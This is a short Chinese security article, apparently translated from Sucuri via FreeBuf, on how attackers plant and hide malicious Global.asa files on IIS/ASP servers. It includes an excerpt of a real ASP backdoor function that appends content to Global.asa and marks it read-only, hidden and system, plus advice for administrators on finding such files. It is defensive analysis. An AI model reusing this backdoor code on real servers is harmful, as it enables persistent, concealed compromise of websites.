众所周知:黑客会利用Apache配置的.htaccess文件去覆盖默认的WEB网站的配置,功能大概有以下几点:
添加条件重定向 创建虚拟路径(mod_rewrite) 自动添加PHP脚本 ......
在IIS/ASP的环境中,有个Global.asa文件,这个文件包含了所有asp脚本的共同声明,放在某个ASP应用的根目录。如果该文件存在,该ASP应用会自动包含这个文件。
空白行
黑客也喜欢在Global.asa中使用各种.htaccess技巧,比如隐藏恶意内容,之后就会往里面注入大量的空白行。根据Windows浏览文本的特性,粗心的管理还是难以发现的。
文件隐藏属性
.htaccess还有另一个属性,那就是它们都是隐藏的。这意味着部分管理员可能不知道他们的存在,除非他们使用显示隐藏文件选项的FTP客户端,或者使用ls -a这类列文件命令参数。尽管Global.asa文件也不方便自动在Windows中隐藏,但黑客们仍然有其他办法。
下面的代码节选自创建恶意Global.asa的ASP后门:
Public Function createasa(ByVal Content) On Error Resume Next Set fso = Server.CreateObject("scripting.filesystemobject") set f=fso.Getfile("//./" & Server.MapPath("/Global.asa")) f.Attributes=0 Set Obj = Server.CreateObject("adod" & "b.S" & "tream") Obj.Type = 2 Obj.open Obj.Charset = "utf-8" Obj.Position = Obj.Size Obj.writetext = Content Obj.SaveToFile "//./" & Server.MapPath("/Global.asa"),2 Obj.Close Set Obj = Nothing f.Attributes=1+2+4 set f=Nothing Set fso = Nothing End Function
请注意文件里的“1+2+4”,这里解释下:
1 = 只读文件,网站应用可以读取文件不能写或者删除。 2 = 隐藏文件,不包含在普通文件列表里。 4 = 系统文件,系统进行部分调用,或者特殊专用。
因此,黑客可以建立一个不能被更改的、系统文件级别的Global.asa,这样管理员FTP登录进去就看不到了。
如何查找文件
管理员想要找出这样的文件,需要与创该类文件相同的权限。如果Global.asa是用WEB服务创建的,你需要与WEB容器进程相同的权限去读文件。在你的主机账户管理面板使用文件管理器,或者使用一些客户端脚本来列出服务器上的文件。
PS:上面的案例,是作者的同事Bruno Zanelato在某个服务器上发现的后门和Global.asa。黑客用它们给每个asp网页来挂广告,赚取流量费用。本质上来说,这是一个auto_prepend/append_file和mod_rewrite .htaccess手段的结合使用。
*参考来源:SU,编译/dawner,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)